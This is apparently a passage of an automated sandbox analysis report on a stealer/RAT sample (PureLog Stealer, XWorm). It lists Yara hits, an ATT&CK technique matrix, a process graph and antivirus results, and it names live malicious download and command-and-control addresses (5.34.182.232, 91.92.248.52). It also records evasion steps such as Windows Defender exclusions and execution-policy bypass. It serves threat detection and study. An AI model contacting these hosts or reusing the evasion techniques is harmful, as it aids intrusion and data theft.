                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeQueries volume information: C:\Users\user\AppData\Roaming\daqfbrlrs.exe VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeQueries volume information: C:\Users\user\AppData\Roaming\daqfbrlrs.exe VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                    Stealing of Sensitive Information

                    barindex
                    Yara detected PureLog Stealer
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.5f80000.10.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.5f80000.10.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.46f8418.9.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4720438.8.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4bd04b8.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4bd04b8.7.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.46f8418.9.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4720438.8.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000000.00000002.1999338129.0000000005F80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.1992545692.0000000004BD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.1992545692.00000000044D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Yara detected XWorm
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.3390260.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 13.2.daqfbrlrs.exe.36db45c.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 13.2.daqfbrlrs.exe.36db45c.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 16.2.daqfbrlrs.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.2.daqfbrlrs.exe.31693a8.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.3390260.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0000000A.00000002.2466687008.0000000003155000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000D.00000002.2554540962.0000000003656000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000010.00000002.2496866109.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000D.00000002.2554540962.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe PID: 6664, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: daqfbrlrs.exe PID: 2488, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: daqfbrlrs.exe PID: 6776, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: daqfbrlrs.exe PID: 3408, type: MEMORYSTR

                    Remote Access Functionality

                    barindex
                    Yara detected PureLog Stealer
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.5f80000.10.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.5f80000.10.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.46f8418.9.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4720438.8.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4bd04b8.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4bd04b8.7.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.46f8418.9.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4720438.8.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000000.00000002.1999338129.0000000005F80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.1992545692.0000000004BD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.1992545692.00000000044D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Yara detected XWorm
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.3390260.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 13.2.daqfbrlrs.exe.36db45c.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 13.2.daqfbrlrs.exe.36db45c.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 16.2.daqfbrlrs.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 10.2.daqfbrlrs.exe.31693a8.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.3390260.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0000000A.00000002.2466687008.0000000003155000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000D.00000002.2554540962.0000000003656000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000010.00000002.2496866109.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000D.00000002.2554540962.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe PID: 6664, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: daqfbrlrs.exe PID: 2488, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: daqfbrlrs.exe PID: 6776, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: daqfbrlrs.exe PID: 3408, type: MEMORYSTR

                    Mitre Att&ck Matrix

                    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                    Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
                    Scheduled Task/Job                    		1
                    Scheduled Task/Job                    		111
                    Process Injection                    		1
                    Masquerading                    		OS Credential Dumping21
                    Security Software Discovery                    		Remote Services1
                    Archive Collected Data                    		1
                    Encrypted Channel                    		Exfiltration Over Other Network MediumAbuse Accessibility Features
                    CredentialsDomainsDefault Accounts1
                    PowerShell                    		21
                    Registry Run Keys / Startup Folder                    		1
                    Scheduled Task/Job                    		11
                    Disable or Modify Tools                    		LSASS Memory1
                    Process Discovery                    		Remote Desktop ProtocolData from Removable Media1
                    Non-Standard Port                    		Exfiltration Over BluetoothNetwork Denial of Service
                    Email AddressesDNS ServerDomain AccountsAt1
                    DLL Side-Loading                    		21
                    Registry Run Keys / Startup Folder                    		31
                    Virtualization/Sandbox Evasion                    		Security Account Manager31
                    Virtualization/Sandbox Evasion                    		SMB/Windows Admin SharesData from Network Shared Drive1
                    Ingress Tool Transfer                    		Automated ExfiltrationData Encrypted for Impact
                    Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
                    DLL Side-Loading                    		111
                    Process Injection                    		NTDS1
                    Application Window Discovery                    		Distributed Component Object ModelInput Capture1
                    Non-Application Layer Protocol                    		Traffic DuplicationData Destruction
                    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script2
                    Obfuscated Files or Information                    		LSA Secrets1
                    File and Directory Discovery                    		SSHKeylogging11
                    Application Layer Protocol                    		Scheduled TransferData Encrypted for Impact
                    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                    Software Packing                    		Cached Domain Credentials13
                    System Information Discovery                    		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                    DLL Side-Loading                    		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

                    Behavior Graph

                    Hide Legend

                    Legend:

                    • Process
                    • Signature
                    • Created File
                    • DNS/IP Info
                    • Is Dropped
                    • Is Windows Process
                    • Number of created Registry Values
                    • Number of created Files
                    • Visual Basic
                    • Delphi
                    • Java
                    • .Net C# or VB.NET
                    • C, C++ or other language
                    • Is malicious
                    • Internet
                    behaviorgraph top1 signatures2 2 Behavior Graph ID: 1429251 Sample: SecuriteInfo.com.Win32.Rans... Startdate: 21/04/2024 Architecture: WINDOWS Score: 100 51 Found malware configuration 2->51 53 Malicious sample detected (through community Yara rule) 2->53 55 Antivirus detection for URL or domain 2->55 57 15 other signatures 2->57 8 SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe 16 5 2->8         started        13 daqfbrlrs.exe 14 3 2->13         started        15 daqfbrlrs.exe 2->15         started        process3 dnsIp4 49 5.34.182.232, 49733, 49740, 49741 ITLASUA Ukraine 8->49 45 C:\Users\user\AppData\Roaming\daqfbrlrs.exe, PE32 8->45 dropped 63 Bypasses PowerShell execution policy 8->63 65 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 8->65 67 Adds a directory exclusion to Windows Defender 8->67 17 SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe 6 8->17         started        69 Antivirus detection for dropped file 13->69 71 Multi AV Scanner detection for dropped file 13->71 73 Machine Learning detection for dropped file 13->73 22 daqfbrlrs.exe 13->22         started        75 Injects a PE file into a foreign processes 15->75 24 daqfbrlrs.exe 15->24         started        file5 signatures6 process7 dnsIp8 47 91.92.248.52, 49743, 49745, 49746 THEZONEBG Bulgaria 17->47 43 C:\Users\user\AppData\Roaming\XClient.exe, PE32 17->43 dropped 59 Protects its processes via BreakOnTermination flag 17->59 61 Adds a directory exclusion to Windows Defender 17->61 26 powershell.exe 23 17->26         started        29 powershell.exe 23 17->29         started        31 powershell.exe 17->31         started        33 powershell.exe 17->33         started        file9 signatures10 process11 signatures12 77 Loading BitLocker PowerShell Module 26->77 35 conhost.exe 26->35         started        37 conhost.exe 29->37         started        39 conhost.exe 31->39         started        41 conhost.exe 33->41         started        process13

                    Screenshots

                    Thumbnails

                    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                    windows-stand

                    Antivirus, Machine Learning and Genetic Malware Detection

                    Initial Sample

                    SourceDetectionScannerLabelLink
                    SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe55%ReversingLabsByteCode-MSIL.Packed.Generic
                    SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe69%VirustotalBrowse
                    SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe100%AviraHEUR/AGEN.1323752
                    SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe100%Joe Sandbox ML

                    Dropped Files

                    SourceDetectionScannerLabelLink
                    C:\Users\user\AppData\Roaming\XClient.exe100%AviraHEUR/AGEN.1323752
                    C:\Users\user\AppData\Roaming\daqfbrlrs.exe100%AviraHEUR/AGEN.1323752
                    C:\Users\user\AppData\Roaming\XClient.exe100%Joe Sandbox ML
                    C:\Users\user\AppData\Roaming\daqfbrlrs.exe100%Joe Sandbox ML
                    C:\Users\user\AppData\Roaming\XClient.exe55%ReversingLabsByteCode-MSIL.Packed.Generic
                    C:\Users\user\AppData\Roaming\XClient.exe69%VirustotalBrowse
                    C:\Users\user\AppData\Roaming\daqfbrlrs.exe55%ReversingLabsByteCode-MSIL.Packed.Generic
                    C:\Users\user\AppData\Roaming\daqfbrlrs.exe69%VirustotalBrowse

                    Unpacked PE Files

                    ⊘No Antivirus matches

                    Domains

                    ⊘No Antivirus matches

                    URLs

                    SourceDetectionScannerLabelLink
                    https://sectigo.com/CPS00%URL Reputationsafe
                    http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl00%URL Reputationsafe
                    http://ocsp.sectigo.com00%URL Reputationsafe
                    http://pesterbdd.com/images/Pester.png100%URL Reputationmalware
                    http://crl.microsoft0%URL Reputationsafe
                    https://contoso.com/License0%URL Reputationsafe
                    https://contoso.com/Icon0%URL Reputationsafe
                    https://contoso.com/Icon0%URL Reputationsafe
                    http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#0%URL Reputationsafe
                    http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#0%URL Reputationsafe
                    http://crl.mi0%URL Reputationsafe
                    http://crl.micro0%URL Reputationsafe
                    http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y0%URL Reputationsafe
                    https://contoso.com/0%URL Reputationsafe
                    http://5.34.182.232/sm/Pxgimjrvqqb.wav3%VirustotalBrowse
                    http://5.34.182.2322%VirustotalBrowse

                    Domains and IPs

                    Contacted Domains

                    ⊘No contacted domains info

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    http://5.34.182.232/sm/Pxgimjrvqqb.wavfalseunknown
                    91.92.248.52true
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://5.34.182.232SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.0000000003371000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                      http://5.34.182.232/sm/Pxgimjrvqqb.wav0I4SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.00000000030F1000.00000004.00000800.00020000.00000000.sdmpfalse
                        		unknown
                        http://nuget.org/NuGet.exepowershell.exe, 00000005.00000002.2052979000.0000000005766000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2099869250.0000000005EA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2176960211.0000000005E75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2246643853.0000000005BC2000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          https://sectigo.com/CPS0SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://stackoverflow.com/q/14436606/23354daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003027000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.000000000366B000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://github.com/mgravell/protobuf-netJSecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              http://ocsp.sectigo.com0SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              http://pesterbdd.com/images/Pester.pngpowershell.exe, 0000000E.00000002.2217132744.0000000004CB6000.00000004.00000800.00020000.00000000.sdmptrue
                              • URL Reputation: malware
                              		unknown
                              http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000005.00000002.2041601100.0000000004856000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2083832437.0000000004F96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2157706414.0000000004F66000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2217132744.0000000004CB6000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://crl.microsoftpowershell.exe, 00000008.00000002.2113666085.00000000087F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://crl.microsoftQ5;powershell.exe, 0000000E.00000002.2263906463.0000000008482000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		low
                                  http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 0000000E.00000002.2217132744.0000000004CB6000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://contoso.com/Licensepowershell.exe, 0000000E.00000002.2246643853.0000000005BC2000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://contoso.com/Iconpowershell.exe, 0000000E.00000002.2246643853.0000000005BC2000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    		unknown
                                    http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://github.com/mgravell/protobuf-netSecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://5.34.182.232/sm/Pxgimjrvqqb.wav0Idaqfbrlrs.exe, 0000000A.00000002.2466687008.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.0000000003371000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		unknown
                                        http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://github.com/Pester/Pesterpowershell.exe, 0000000E.00000002.2217132744.0000000004CB6000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://crl.mipowershell.exe, 00000008.00000002.2108660915.000000000790D000.00000004.00000020.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          https://github.com/mgravell/protobuf-netiSecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://crl.micropowershell.exe, 0000000E.00000002.2263906463.0000000008482000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0ySecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, XClient.exe.4.dr, daqfbrlrs.exe.0.drfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://aka.ms/pscore6lBpowershell.exe, 00000005.00000002.2041601100.0000000004701000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2083832437.0000000004E41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2157706414.0000000004E11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2217132744.0000000004B61000.00000004.00000800.00020000.00000000.sdmpfalse
